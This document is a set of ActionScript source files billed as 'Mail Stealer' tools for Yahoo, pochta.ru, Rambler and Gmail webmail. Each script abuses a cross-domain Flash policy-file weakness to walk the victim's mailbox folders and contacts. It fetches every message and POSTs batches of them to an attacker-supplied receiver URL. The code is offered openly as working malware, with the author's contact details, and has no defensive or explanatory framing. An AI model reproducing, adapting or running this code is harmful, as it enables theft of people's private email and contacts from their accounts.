/*

yahoo.com Mail Stealer by Cenarius

Based on Cross-Domain Data Access via Flash [CDDAF] vulnerability

Steals all messages in next folders:

inbox, draft, sent, bulk, trash

Email: ooohoow@gmail.com | Icq: 100732

*/

// Params:

// dataReceiverUrl:String = Url of data receiving script

// [optional] messagesUntilDump:Number = Number of PMs per one dump

if(_level0.dataReceiverUrl) {

if(!_level0.messagesUntilDump) { var messagesUntilDump:Number = 3; }

import flash.external.ExternalInterface;

System.useCodepage = true;

var messagesContent:Array = new Array();

var allMessageLinks:Array = new Array();

var tmpMessageLinks:Object = new Object();

var foldersDone:Number = 0;

// Getting referrer

var referrer:String = ExternalInterface.call(

"function() { return document.referrer; }").toString();

var baseUrl:String = referrer.substring(0, referrer.lastIndexOf('/'));

// Loading policy file / Expanding 'sandbox'

System.security.loadPolicyFile(referrer + '&bodyPart=2');

var folders:Array = new Array(

'/ShowFolder?rb=Inbox&', // Inbox

'/ShowFolder?rb=Draft&', // Draft

'/ShowFolder?rb=Sent&', // Sent

'/ShowFolder?rb=@B@Bulk&', // Bulk

'/ShowFolder?rb=Trash&'); // Trash

// Getting lists of messages in folders

for(var i in folders) {

serverRequest(

baseUrl + folders[i],

onGetMessageList,

'GET');

}

}

function onGetMessageList(loadedData:String):Void {

if(!loadedData) {

// Connect error || expanding 'sandbox' error

return; }

// Parsing received data for links of messages

// Using external Js Regexp (Flash player < 9 doesn't support Regexp)

var links:Object = ExternalInterface.call(

'function(data) { return data.match(/(ShowLetter\\?[^\\"#]*)/ig); }',

loadedData.split("\\\"").join(''));

// Deleting similar links

for(var i in links) {

tmpMessageLinks[links[i]] = null; }

foldersDone++;

if(foldersDone == folders.length) {

// Concatenation (Object) tmpMessageLinks to (Array) allMessageLinks

for(var i in tmpMessageLinks) {

allMessageLinks.push(i); }

sendGetLinkRequsts();

}

}

function sendGetLinkRequsts():Void {

if(allMessageLinks.length) {

if(allMessageLinks.length < messagesUntilDump) {

messagesUntilDump = allMessageLinks.length; }

for(var i:Number = 1; i <= messagesUntilDump; i++) {

// Getting content of message

serverRequest(

baseUrl + '/' + allMessageLinks.shift() + '&',

onGetMessageContent,

'GET');

}

}

}

function onGetMessageContent(loadedData:String):Void {

if(messagesContent.push(loadedData) >= messagesUntilDump) {

// Dumping messages

serverRequest(

_level0.dataReceiverUrl,

function() {},

'POST',

'data=' + escape(messagesContent.join('<br>')));

messagesContent = new Array();

sendGetLinkRequsts();

}

}

function serverRequest(

requestUrl:String, onDataFunc:Function, method:String, vars:String):Void {

var sender:LoadVars = new LoadVars();

var loader:LoadVars = new LoadVars();

if(vars) { sender.decode(vars); }

loader.onData = onDataFunc;

sender.sendAndLoad(requestUrl, loader, method);

}

// EOF

/*

pochta.ru Mail Stealer by Cenarius

Based on Cross-Domain Data Access via Flash [CDDAF] vulnerability

Steals all messages in next folders:

inbox, draft, sent, trash

Email: ooohoow@gmail.com | Icq: 100732

*/

// Params:

// dataReceiverUrl:String = Url of data receiving script

// [optional] messagesUntilDump:Number = Number of PMs per one dump

var dataReceiverUrl:String = this.loaderInfo.parameters.dataReceiverUrl;

var messagesUntilDump:Number = this.loaderInfo.parameters.messagesUntilDump;

if(dataReceiverUrl) {

import flash.external.ExternalInterface;

if(!messagesUntilDump) { messagesUntilDump = 3; }

var messagesContent:Array = new Array();

var allLinks:Array = new Array();

var allLinksObject:Object = new Object();

var foldersDone:Number = 0;

// Getting referrer

var referrer:String = ExternalInterface.call(

"function() { return document.referrer; }").toString();

var messageId:String = referrer.match(/index=(\d+)/i)[1];

var baseUrl:String = referrer.substring(0, referrer.lastIndexOf('/'));

// Loading policy file / Expanding 'sandbox'

flash.system.Security.loadPolicyFile(baseUrl + '/view.php?index=' + messageId + '&partID=2&actionID=download_attach');

var folders:Array = new Array(

'/mailbox.php?mailbox=INBOX&', // Inbox

'/mailbox.php?mailbox=INBOX.Draft&', // Draft

'/mailbox.php?mailbox=INBOX.Sent&', // Sent

'/mailbox.php?mailbox=INBOX.Trash&'); // Trash

// Getting lists of messages in some folders (folders)

var loader:LoadUrl = new LoadUrl(null, onGetMessageList);

for each (var folder in folders) {

new LoadUrl(baseUrl + folder, onGetMessageList).loadUrl();

}

}

function onGetMessageList(loadedData:String, requestUrl:String):void {

if(!loadedData) {

// Connect error || expanding 'sandbox' error

return; }

// Parsing received data for links of messages

var currentLinks:Array = loadedData.match(/(message\.php\?index=\d+)/ig);

var currentFolder:String = requestUrl.match(/\?(mailbox=[a-z\.]+)&/i)[1];

// Deleting similar links

for each (var link:String in currentLinks) {

allLinksObject[link + '&' + currentFolder] = null; }

foldersDone++;

if(foldersDone == folders.length) {

for(var key:String in allLinksObject) {

allLinks.push(key); }

sendGetLinkRequsts();

}

}

function sendGetLinkRequsts():void {

if(allLinks.length) {

if(allLinks.length < messagesUntilDump) {

messagesUntilDump = allLinks.length; }

var loader:LoadUrl = new LoadUrl(null, onGetMessageContent);

for(var i:Number = 1; i <= messagesUntilDump; i++) {

// Getting content of message

loader.setRequestUrl(baseUrl + '/' + allLinks.shift());

loader.loadUrl();

}

}

}

function onGetMessageContent(loadedData:String, requestUrl:String):void {

if(messagesContent.push(loadedData) >= messagesUntilDump) {

// Dumping messages

var loader:LoadUrl = new LoadUrl(

dataReceiverUrl,

function() {},

'POST',

'data=' + escape(messagesContent.join('<br>')));

loader.loadUrl();

messagesContent = new Array();

sendGetLinkRequsts();

}

}

// EOF

package {

import flash.net.*;

import flash.events.*;

public class LoadUrl {

private var requestUrl:String;

private var method:String;

private var vars:String;

private var onLoadFunction:Function;

// Constructor

public function LoadUrl(

requestUrl:String, onLoadFunction:Function, method:String = 'GET', vars:String = null):void {

this.requestUrl = requestUrl;

this.method = method;

this.vars = vars;

this.onLoadFunction = onLoadFunction;

}

public function setRequestUrl(requestUrl:String):void {

this.requestUrl = requestUrl;

}

public function getRequestUrl():String {

return(this.requestUrl);

}

public function loadUrl():void{

var request:URLRequest = new URLRequest(requestUrl);

request.method = method;

if(vars) { request.data = vars; }

var loader:URLLoader = new URLLoader();

loader.addEventListener(

Event.COMPLETE,

function() { onLoadFunction(loader.data, getRequestUrl()); } );

loader.addEventListener(

IOErrorEvent.IO_ERROR,

function() { loadUrl(); });

try {

loader.load(request);

} catch (error:Error) { return; }

}

}

}

/*

rambler.ru Mail Stealer by Cenarius

Based on Cross-Domain Data Access via Flash [CDDAF] vulnerability

Steals all messages in next folders:

inbox, draft, sent, trash + contacts

Email: ooohoow@gmail.com | Icq: 100732

*/

// Params:

// dataReceiverUrl:String = Url of data receiving script

// [optional] messagesUntilDump:Number = Number of PMs per one dump

var dataReceiverUrl:String = this.loaderInfo.parameters.dataReceiverUrl;

var messagesUntilDump:Number = this.loaderInfo.parameters.messagesUntilDump;

if(dataReceiverUrl) {

import flash.external.ExternalInterface;

if(!messagesUntilDump) { messagesUntilDump = 3; }

var messagesContent:Array = new Array();

var allLinks:Array = new Array('contacts.cgi');

var allLinksObject:Object = new Object();

var foldersDone:Number = 0;

// Getting referrer

var referrer:String = ExternalInterface.call(

"function() { return document.referrer; }").toString();

var messageId:String = referrer.match(/what=(\d+)/i)[1];

var mbox:String = referrer.match(/mbox=([a-z]+)/i)[1];

var baseUrl:String = referrer.substring(0, referrer.lastIndexOf('/'));

// Loading policy file / Expanding 'sandbox'

flash.system.Security.loadPolicyFile(baseUrl + '/mail.cgi?mode=obj;mbox=' + mbox + ';what=' + messageId + '.2;for=download');

var folders:Array = new Array(

'/mail.cgi?mode=mailbox;mbox=INBOX&', // Inbox

'/mail.cgi?mode=mailbox;mbox=SentBox&', // Sent

'/mail.cgi?mode=mailbox;mbox=DraftBox&', // Draft

'/mail.cgi?mode=mailbox;mbox=Trash&'); // Trash

// Getting lists of messages in some folders (folders)

var loader:LoadUrl = new LoadUrl(null, onGetMessageList);

for each (var folder in folders) {

new LoadUrl(baseUrl + folder, onGetMessageList).loadUrl();

}

}

function onGetMessageList(loadedData:String):void {

if(!loadedData) {

// Connect error || expanding 'sandbox' error

return; }

// Parsing received data for links of messages

var currentLinks:Array = loadedData.match(/(mail.cgi\?mode=obj;[^\"]+)/ig);

// Deleting similar links

for each (var link:String in currentLinks) {

allLinksObject[link + '&'] = null; }

foldersDone++;

if(foldersDone == folders.length) {

for(var key:String in allLinksObject) {

allLinks.push(key); }

sendGetLinkRequsts();

}

}

function sendGetLinkRequsts():void {

if(allLinks.length) {

if(allLinks.length < messagesUntilDump) {

messagesUntilDump = allLinks.length; }

var loader:LoadUrl = new LoadUrl(null, onGetMessageContent);

for(var i:Number = 1; i <= messagesUntilDump; i++) {

// Getting content of message

loader.setRequestUrl(baseUrl + '/' + allLinks.shift());

loader.loadUrl();

}

}

}

function onGetMessageContent(loadedData:String):void {

if(messagesContent.push(loadedData) >= messagesUntilDump) {

// Dumping messages

var loader:LoadUrl = new LoadUrl(

dataReceiverUrl,

function() {},

'POST',

'data=' + escape(messagesContent.join('<br>')));

loader.loadUrl();

messagesContent = new Array();

sendGetLinkRequsts();

}

}

// EOF

/*

gmail.com Mail Stealer by Cenarius

Based on Cross-Domain Data Access via Flash [CDDAF] vulnerability

Steals all mail + contacts

Works in Gmail's basic HTML view

Email: ooohoow@gmail.com | Icq: 100732

*/

// Params:

// dataReceiverUrl:String = Url of data receiving script

// referer:String

// [optional] messagesUntilDump:Number = Number of PMs per one dump

var dataReceiverUrl:String = this.loaderInfo.parameters.dataReceiverUrl;

var referer:String = this.loaderInfo.parameters.referer;

var messagesUntilDump:Number = this.loaderInfo.parameters.messagesUntilDump;

if(dataReceiverUrl && referer) {

if(!messagesUntilDump) { messagesUntilDump = 3; }

var messagesContent:Array = new Array();

var allLinks:Array = new Array('?v=cl');

var allLinksObject:Object = new Object();

var foldersDone:Number = 0;

var baseUrl:String = referer.substring(0, referer.lastIndexOf('/'));

var th:String = referer.match(/th=([a-z0-9]+)/i)[1];

// Loading policy file / Expanding 'sandbox'

flash.system.Security.loadPolicyFile(baseUrl + '?realattid=file0&attid=0.1&disp=attd&view=att&th= ' + th);

var folders:Array = new Array(

'/s=a&', // All Mail

'/s=t&'); // Trash

// Getting lists of messages in some folders (folders)

var loader:LoadUrl = new LoadUrl(null, onGetMessageList);

for each (var folder in folders) {

loader.setRequestUrl(baseUrl + folder);

loader.loadUrl();

}

}

function onGetMessageList(loadedData:String):void {

if(!loadedData) {

// Connect error || expanding 'sandbox' error

return; }

// Parsing received data for links of messages

var currentLinks:Array = loadedData.match(/(\?v=[^\"]+&th=[^\"]+)/ig);

// Deleting similar links

for each (var link:String in currentLinks) {

allLinksObject[link] = null; }

foldersDone++;

if(foldersDone == folders.length) {

for(var key:String in allLinksObject) {

allLinks.push(key); }

sendGetLinkRequsts();

}

}

function sendGetLinkRequsts():void {

if(allLinks.length) {

if(allLinks.length < messagesUntilDump) {

messagesUntilDump = allLinks.length; }

var loader:LoadUrl = new LoadUrl(null, onGetMessageContent);

for(var i:Number = 1; i <= messagesUntilDump; i++) {

// Getting content of message

loader.setRequestUrl(baseUrl + '/' + allLinks.shift() + '&');

loader.loadUrl();

}

}

}

function onGetMessageContent(loadedData:String):void {

if(messagesContent.push(loadedData) >= messagesUntilDump) {

// Dumping messages

var loader:LoadUrl = new LoadUrl(

dataReceiverUrl,

function() {},

'POST',

'data=' + encodeURIComponent(messagesContent.join('<br>')));

loader.loadUrl();

messagesContent = new Array();

sendGetLinkRequsts();

}

}
// EOF

package {

import flash.net.*;

import flash.events.*;

public class LoadUrl {

private var requestUrl:String;

private var method:String;

private var vars:String;

private var onLoadFunction:Function;

// Constructor

public function LoadUrl(

requestUrl:String, onLoadFunction:Function, method:String = 'GET', vars:String = null):void {

this.requestUrl = requestUrl;

this.method = method;

this.vars = vars;

this.onLoadFunction = onLoadFunction;

}

public function setRequestUrl(requestUrl:String):void {

this.requestUrl = requestUrl;

}

public function getRequestUrl():String {

return(this.requestUrl);

}

public function loadUrl():void{

var request:URLRequest = new URLRequest(requestUrl);

request.method = method;

if(vars) { request.data = vars; }

var loader:URLLoader = new URLLoader();

loader.addEventListener(

Event.COMPLETE,

function() { onLoadFunction(loader.data); } );

loader.addEventListener(

IOErrorEvent.IO_ERROR,

function() { loadUrl(); });

try {

loader.load(request);

} catch (error:Error) { return; }

}

}

}